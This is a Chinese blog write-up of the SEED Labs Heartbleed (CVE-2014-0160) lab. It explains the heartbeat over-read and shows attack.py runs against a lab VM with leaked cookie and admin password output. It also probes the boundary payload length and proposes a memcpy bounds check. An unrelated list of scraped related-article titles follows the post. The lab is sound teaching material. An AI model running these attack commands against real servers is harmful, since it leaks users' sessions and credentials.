博客已迁移至:https://gls.show/

seedlab系列文章GitHub链接:https://github.com/LaPhilosophie/seedlab


实验准备

设置两个 VM:

  • 攻击者机器

    • 修改/etc/hosts 文件将服务器名映射到服务器 VM 的 IP 地址,在/etc/hosts 中搜索127.0.0.1 www.heartbleedlabelgg.com,将承载ELGG应用程序的服务器VM的实际IP地址替换掉127.0.0.1
  • 受害者服务器

Heartbleed漏洞分析

OpenSSL 库中的一个漏洞,受影响的 OpenSSL 版本范围从1.0.1到1.0.1 f,在一些新版本的OpenSSL中无法复现

心跳协议是如何工作的。心跳协议由两种消息类型组成: HeartbeatRequest 包和 HeartbeatResponse 包。客户端向服务器发送一个 HeartbeatRequest 数据包。当服务器接收到它时,它会发回 HeartbeatResponse 数据包中接收到的消息的副本。目标是保持连接活跃

心脏出血攻击是基于心跳请求的。这个请求只是向服务器发送一些数据,服务器将把这些数据复制到它的响应数据包中,这样所有的数据都会得到回显

在正常情况下,假设请求包含3个字节的数据“ ABC”,因此长度字段的值为3。服务器将把数据放在内存中,并从数据的开头复制3个字节到它的响应数据包。在攻击场景中,请求可能包含3个字节的数据,但长度字段可能是1003。当服务器构造它的响应数据包时,它从数据的开始进行复制(即“ ABC”) ,但是它复制的是1003个字节,而不是3个字节。这额外的1000种类型显然不是来自请求数据包; 它们来自服务器的私有内存,并且它们可能包含其他用户的信息、密钥和密码

Task 1: Launch the Heartbleed Attack

攻击步骤:

  • 访问 https://www.heartbleedlabelgg.com

  • 以管理员身份登录:admin :seedelgg

  • 添加boby为friend,并给他发送私人信息

多次运行攻击的回显如下

可以看出泄露了cookie、username、密码等关键信息

# ./attack.py www.heartbleedlabelgg.comdefribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)##################################################################
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
##################################################################.@.AAAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNOABC...
...!.9.8.........5...............
.........3.2.....E.D...../...A.................................I.........
...........
...................................#.......-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.heartbleedlabelgg.com/profile/boby
Cookie: Elgg=vt3bsst6tb3ov6njhj7kcijn42
Connection: keep-alive
If-None-Match: "1449721729"..*.......a.3v.O.akf.........b3ov6njhj7kcijn42
Connection: keep-alive_..@?.
..2....{ d..................=1670072367&username=admin&password=seedlggT.;.8A.K..VY."...."

Task 2: Find the Cause of the Heartbleed Vulnerability

比较良性数据包和攻击者代码发送的恶意数据包的结果,以找出心脏出血漏洞的根本原因

当 Heartbeat 请求数据包到来时,服务器将解析数据包以获得有效负载和有效负载长度值(如图1所示)。这里,有效负载只是一个3字节的字符串“ ABC”,有效负载长度值正好是3。服务器程序将盲目地从请求数据包中获取这个长度值。然后,它通过指向存储“ ABC”的内存并将负载长度字节复制到响应负载来构建响应数据包。这样,响应数据包将包含一个3字节的字符串“ ABC”。我们可以启动 HeartBleed 攻击,将有效负载长度字段设置为1003。在构建响应数据包时,服务器将再次盲目地采用这个 Payload 长度值。这一次,服务器程序将指向字符串“ ABC”,并将1003字节作为有效负载从内存复制到响应数据包。除了字符串“ ABC”之外,额外的1000字节被复制到响应数据包中,这些数据包可以是内存中的任何内容,比如机密活动、日志信息、密码等等

图示:

通过命令行参数控制有效载荷长度值,该参数默认是0x4000

$./attack.py www.heartbleedlabelgg.com -l 0x015B
$./attack.py www.heartbleedlabelgg.com --length 83

Question 2.1: As the length variable decreases, what kind of difference can you observe?

回返的信息长度减少

Question 2.2: As the length variable decreases, there is a boundary value for the input length vari-
able. At or below that boundary, the Heartbeat query will receive a response packet without attaching
any extra data (which means the request is benign). Please find that boundary length. You may need
to try many different length values until the web server sends back the reply without extra data. To
help you with this, when the number of returned bytes is smaller than the expected length, the pro-
gram will print “Server processed malformed Heartbeat, but did not return
any extra data.”

边界值:22

回显形式1:

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!

回显形式2:

Server processed malformed heartbeat, but did not return any extra data.

Task 3: Countermeasure and Bug Fix

使用sudo apt-get update将 OpenSSL 库更新到最新版本,发现之后的攻击无效

Heartbeat request/response 包格式如下:

struct {HeartbeatMessageType type; // 1 byte: request or the responseuint16 payload_length; // 2 byte: the length of the payloadopaque payload[HeartbeatMessage.payload_length];opaque padding[padding_length];
} HeartbeatMessage;
  • type是类型信息

  • payload_length是有效负载长度

  • payload是实际的有效负载

  • 填充字段

有效负载的大小应该与有效负载长度字段中的值相同,但是在攻击场景中,有效负载长度可以设置为不同的值

导致bug的语句是memcpy(bp, pl, payload); ,其中,bp指向buffer,pl指向payload,它会将payload长度的内容从pl复制到bp(正如Alice所说),而这并没有做边界检查

在memcpy之前加上以下语句以修订:

payload = payload_length > strlen(pl) ? strlen(pl) : payload_length ;

SEED-lab:Heartbleed Attack Lab相关推荐

  1. 漏洞分析Heartbleed Attack Lab(自用、记录)

    Heartbleed Attack Lab 1 Overview 2 Lab Environment 3 Lab Tasks 3.1 Task 1: Launch the Heartbleed Att ...

  2. 脏牛(Dirty COW)漏洞攻击实验(SEED-Lab:Dirty-COW Attack Lab)

    <脏牛(Dirty COW)漏洞攻击实验> 目录 <脏牛(Dirty COW)漏洞攻击实验> **一:实验目的** **二:实验步骤与结果** **漏洞原理:** **COW机 ...

  3. 【SEED Labs 2.0】ARP Cache Poisoning Attack Lab

    本文为 SEED Labs 2.0 - ARP Cache Poisoning Attack Lab 的实验记录. 文章目录 实验原理 Task 1: ARP Cache Poisoning Task ...

  4. ARP Cache Poisoning Attack Lab(SEED实验)

    ARP Cache Poisoning Attack Lab(SEED实验) ARP缓存中毒攻击可以诱使受害者主机将报文发向攻击者指定的路由方向,并由此完成诸如中间人攻击等攻击手段.本实验使用scap ...

  5. 从入门到入土:[SEED-Lab]-幽灵攻击|Spectre Attack Lab|详细说明|实验步骤|实验截图

    此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) 本人博客所有文章纯属学习之用,不涉及商业利益.不合适引用,自当删除! 若 ...

  6. 【SEED Lab】ARP Cache Poisoning Attack Lab

    ARP Cache Poisoning Attack Lab 一.实验的基本环境 一共有三台机器,我们使用Host M进行攻击,因为ARP协议只在局域网上运行,所以三台机器在同一个局域网上面. 二.实 ...

  7. 从入门到入土:[SEED-Lab]MD5碰撞试验|MD5collgen实验|linux|Ubuntu|MD5 Collision Attack Lab|详细讲解

    此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) 本人博客所有文章纯属学习之用,不涉及商业利益.不合适引用,自当删除! 若 ...

  8. CSAPP:Attack Lab —— 缓冲区溢出攻击实验

    Warm-up X86-64寄存器和栈帧 X86-64有16个64位寄存器 : -%rax 作为函数返回值使用. - %rsp 栈指针寄存器,指向栈顶. - %rdi,%rsi,%rdx,%rcx,% ...

  9. (SEED-Lab) ARP Cache Poisoning Attack Lab

    (SEED-Lab) ARP Cache Poisoning Attack Lab 欢迎大家访问我的GitHub博客 https://lunan0320.cn 文章目录 (SEED-Lab) ARP ...

最新文章

  1. Xt800、DEFY自带号码归属地更新包,更新至2013.4【数据总数278360条】
  2. C/C++使用openssl进行摘要和加密解密(md5, sha256, des, rsa)
  3. linux常用命令大全(转)好东西要分享
  4. 型管件的作用_管道工程基础 - 管件和管道附件的布置规定
  5. 作者:姜春宇(1987-),男,中国信息通信研究院移动互联网与大数据部工程师,数据中心联盟大数据技术与产品工作组组长。...
  6. Unsupported major.minor version 52.0解决
  7. 数据库mysql,oracle,sqlite,mariadb 相关收藏
  8. SparkMLlib之01-Spark机器学习库介绍
  9. javacpp 人脸_javacv实现人脸检测
  10. 社区项目发现的问题四 datatable的注意事项
  11. BootStrap Table:列参数
  12. 如何判断微信/判断支付宝退款超期
  13. 粒子系统(二):绘制精美几何图案
  14. Hibernate3 入门之Api,配置文件详解
  15. Flink使用二次聚合实现TopN计算-乱序数据
  16. Excel表格只能以打开模式打开如何解决?
  17. MIUI7 系统应用精简(米5、红米note3)
  18. 西邮ctf2020 web之文件包含解析
  19. 数据包分析技术与网络基础
  20. we用的java插件_WebStorm weex插件报错

热门文章

  1. A Great Start!
  2. PMTU 黑洞路由器
  3. 阿里巴巴薪水级别一览
  4. 微信聊天内容可以被监听吗
  5. Python3使用PIL在图片中写文字支持中文
  6. 基于android的大学生图书管理系统app
  7. LVGL官方文档-7.11.0-4-Porting-Display interface
  8. 人工智能学习 自学第一记
  9. 一位软件工程师的财富自由之路
  10. 计算机三级数据库2020年试题,2020年计算机三级数据库考试模拟强化试题及答案...